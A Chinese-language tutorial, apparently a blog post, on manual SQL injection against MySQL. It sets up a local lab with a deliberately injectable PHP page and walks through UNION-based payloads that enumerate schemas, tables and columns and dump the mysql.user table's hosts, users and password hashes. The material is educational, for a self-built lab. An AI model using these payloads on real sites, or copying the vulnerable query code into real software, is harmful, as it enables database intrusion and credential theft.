SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。
完整筆記地址:https://www.cnblogs.com/LyShark/p/10632263.html
整形注入目錄:
- 搭建測試環境
- 手工判斷SQL注入點
- 判斷數據庫權限
- 判斷字段數
- 判斷數據庫版本
- 查詢數據庫名稱
- 查詢字段
- 查詢表中數據
搭建注入測試環境
1.首先在實驗之前我們需要搭建相應的環境以供下面SQL注入例子的練習.
a.這里我們在Centos 7 上搭建一個LAMP環境.
[root@localhost ~]# yum install -y httpd httpd-devel mariadb mariadb-server mysql-devel php php-mysql php-common php-gd php-xml 已加載插件:fastestmirror Loading mirror speeds from cached hostfile 軟件包 httpd-2.4.6-80.el7.centos.x86_64 已安裝並且是最新版本 軟件包 httpd-devel-2.4.6-80.el7.centos.x86_64 已安裝並且是最新版本 軟件包 1:mariadb-5.5.56-2.el7.x86_64 已安裝並且是最新版本 軟件包 1:mariadb-server-5.5.56-2.el7.x86_64 已安裝並且是最新版本 軟件包 1:mariadb-devel-5.5.56-2.el7.x86_64 已安裝並且是最新版本 軟件包 php-5.4.16-45.el7.x86_64 已安裝並且是最新版本 軟件包 php-mysql-5.4.16-45.el7.x86_64 已安裝並且是最新版本 軟件包 php-common-5.4.16-45.el7.x86_64 已安裝並且是最新版本 軟件包 php-gd-5.4.16-45.el7.x86_64 已安裝並且是最新版本 軟件包 php-xml-5.4.16-45.el7.x86_64 已安裝並且是最新版本
b.進入MySQL並創建一個測試用的數據表,寫入一些查詢數據.
[root@localhost ~]# mysql -uroot -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 10 Server version: 5.5.56-MariaDB MariaDB Server Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> create database lyshark; Query OK, 1 row affected (0.06 sec) MariaDB [(none)]> use lyshark; Database changed MariaDB [lyshark]> create table lyshark ( -> `id` int(10) NOT NULL, -> `title` varchar(1000) NOT NULL, -> `text` varchar(1000) NOT NULL -> ); Query OK, 0 rows affected (0.13 sec) MariaDB [lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin'); Query OK, 1 row affected (0.00 sec) MariaDB [lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark'); Query OK, 1 row affected (0.06 sec) MariaDB [lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest'); Query OK, 1 row affected (0.00 sec)
c.在apache網頁目錄下新建一個index.php文件,配置好權限.
<?php $id = $_GET['id']; $connection = mysql_connect("127.0.0.1","root","123"); mysql_select_db("lyshark",$connection); $myquery = "select * from lyshark where id=$id"; $result = mysql_query($myquery); while($row = mysql_fetch_array($result)){ echo "編號: ".$row['id']."<br >"; echo "標題: ".$row['title']."<br >"; echo "內容: ".$row['text']."<br >"; echo "<hr>"; } mysql_close($connection); echo "執行的SQL語句: ".$myquery."<hr>"; ?>
d.訪問主頁測試看是否能讀取數據
http://localhost/index.php?id=1
手工判斷SQL注入點
提交單引號

使用and和or判斷
我們也可以在參數后面加上 and 1=1 來判斷是否存在注入點

和 and 1=0 對比一下看看有啥不同

經過上面的對比,我們可以看到 and 1=1 返回了數據,而and 1=0沒有,這是由於1=1是一個為真的條件,前面的結果是true,true and true 所以沒有任何問題,第二個 1=0 是個假條件, true and false 還是false,所以並沒有數據返回。
接下來看下or、or就是或者,兩個都為假,才會為假,只要一個為真就為真,把語句后面的id改成一個不存在的,后面接上or 1=1,這樣的話就成了 false or true,結果為true。

下圖可以看到,沒有返回數據,記錄不存在.

通過加法和減法判斷
加法和減法的使用要區別是數字型還是字符型的注入、然后來區分了、可以看他后面的參數如果是數字、就一定是數字型、如果是一些字母的話就是字符型注入。
例如
select \* from user where id=4 #數字型注入 sql 語句
select \* from user where username=’fendo’ #字符型注入 sql 語句
輸入加號
我們在參數輸入1+1,看看返回的數據是不是id等於2的結果,這里注意一下+號在SQL語句是有特效含義的,所以我們要對其進行url編碼,最后也就是%2b。

輸入減號
減法是同樣的道理,不過不需要對-號進行url編碼了

判斷數據庫權限
判斷ROOT權限,如果數值則說明存在root權限,否則不存在
and ord(mid(user(),1,1))=114
或者:
and (select count(\*) from mysql.user)>0
解釋:
and (select count(\*) from mysql.user)>0 #如果結果返回正常,說明具有讀寫權限。
and (select count(\*) from mysql.user)>0 #返回錯誤,應該是管理員給數據庫帳戶降權了。


判斷字段數
對於判斷字段數有兩種常用的猜測方式:
方式1:用union聯合查詢:and 1=1 union select 1,2,3,4,5…… 或 union select null,null,null……
UNION SELECT 聯合查詢:可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。在and后面加上1=1或1=2的作用后面會講。
例如:
a.首先猜測,當字段為2時頁面返回錯誤

b.增加一個字段,為3時,頁面顯示正確

c.再次增加一個字段,為4時,頁面顯示錯誤

上面的結果,說明字段數就是3,輸入的數大於或小於字段數時都會報錯。使用 union select null,null,null 是一樣的效果。

方式2:用order by 查詢“order by * -- order by
order by查詢:在sql語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推,按照這個原理我們來判斷他的字段數,如果我們按照他的第1列進行排序數據庫會返回正常,但是當我們按照第100列排序,但是數據庫中並不存在第100列,從而報錯。
例如:
a.當我們測試到4時數據庫無法顯示數據.

b.說明該表只有三個字段.

===================這里存在兩個小問題===================
第一個:大部分程序只會調用數據庫查詢的第一條語句進行查詢然后返回(我們這個也是),而通過聯合查詢出的數據中,我們想看到的數據是在第二條語句中,如果我們想看到我們想要的數據有兩種方法,第一種是讓第一條數據返回假,
第二種是通過sql語句直接返回我們想要的數據。
第一種:我們讓第一個查詢的結果始終為假

上圖可看到,什么都沒有顯示,因為填充時使用的null,所以返回的就是空null.
第二種:通過limit語句,limit在mysql中是用來分頁的,通過他可以從查詢出來的數據中獲取我們想要的數據
LIMIT 子句可以被用於強制 SELECT 語句返回指定的記錄數。LIMIT 接受一個或兩個數字參數。參數必須是一個整數常量。如果給定兩個參數,第一個參數指定第一個返回記錄行的偏移量,第二個參數指定返回記錄行的最大數目,初始記錄行的偏移量是 0(而不是 1)。
例如:
SELECT * FROM table LIMIT 5,10; // 檢索記錄行 6-15
在地址偶棉加入以下代碼看看:

上圖結果返回也是空,因為這使用的null,所以返回的還是null。
第二個:哪個列中的數據是在頁面中顯示出來的,有一些列中的數據只是用於后台程序處理,並不會在前台顯示,所以我們需要判斷哪個字段我們可以看到。
所以,我們要通過數字代替NULL進行查詢,來確定哪些字段會在頁面中顯示。這也就是為什么我們不一開始就用數字而用null,因為union select 不僅要求列的數量相同 同時數據類型也要相似。

查詢數據庫版本
版本大於5.0的mysql的information_schema庫中存儲着mysql的所有數據庫和表結構信息,所以可以利用information_schema庫快速注入。
通過下面的語句可以判斷數據庫版本:
and ord(mid(version(),1,1))>51
解釋1: 確認數據庫版本,51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法;
解釋2: ord()是mysql的函數用於獲取二進制碼;
解釋3: mid()是mysql的函數用於截位操作;
解釋4: version()是mysql的函數用於獲取當前數據庫的版本;


顯示正確:我這用的的mysql版本是大於5.0的

查詢數據庫名稱
方法1:
可以直接使用mysql自帶函數database()查詢得到數據庫名:

方法2:
使用以下語句語句得到所有的數據庫名:
index.php?id=2 union select null,schema_name,null from information_schema.schemata

還可以獲取第一個庫名:
index.php?id=2 union select null,schema_name,null from information_schema.schemata limit 0,1

上圖,並沒有顯示數據庫名而顯示的是第一條語句查詢出來的結果。在union前面加上and 1=2,就能顯示出來了。
index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1

獲取第二個庫名:
index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,2
以此類推,即可獲取到全部庫..
查詢數據表名稱
在MySQL中,表名存放在information_schema數據庫下tables表table_name字段中、查表名我們主要用到的是TABLES表。
方法1:
用group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感數據。
group_concat()會計算哪些行屬於同一組,將屬於同一組的列顯示出來。要返回哪些列,由函數參數(就是字段名)決定。分組必須有個標准,就是根據group by指定的列進行分組。
index.php?id=2 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='lyshark'

上圖返回時正確的,數據庫中就這3張表、這里我們的目標是lyshark表、因為當前的數據就是lyshark表中獲取的。

方法2:
同樣,使用下面的語句也是可以查出來的。
index.php?id=2 union select null,table_name,null from information_schema.tables where table_schema='lyshark'

查詢字段
在MySQL中,字段名存放在information_schema數據庫下columns表column_name字段中,這里使用的是columns表。
方法1:
index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='lyshark' and table_name='lyshark'

我們也可以查看mysql庫user表中的字段。
index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='mysql' and table_name='user'

上圖可以看出,我們已得到mysql庫user表的所有字段.
方法2:
index.php?id=2 union select null,column_name,null from information_schema.columns where table_schema='mysql' and table_name='user'
同理,此處就不截圖了.
查詢表中數據
最終想得到的就是字段里的內容了、前面的數據庫名、表名都獲得了、獲取值就很簡單了。
方法1:
查詢lyshark庫中lyshark表中所有數據。
index.php?id=2 and 1=2 union select 1,group_concat(id,title,text),3 from lyshark

查詢mysql數據庫user表中的,Host,User,Password字段的內容.
index.php?id=2 and 1=2 union select 1,group_concat(Host,User,Password),3 from mysql.user

上圖可以報出mysql的敏感數據.
方法2:
index.php?id=2 union select null,title,content from lyshark
index.php?id=2 union select Host,User,Password from mysql.user
方法3:
index.php?id=2 and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
方法2和方法3作用相同,此處不截圖了。
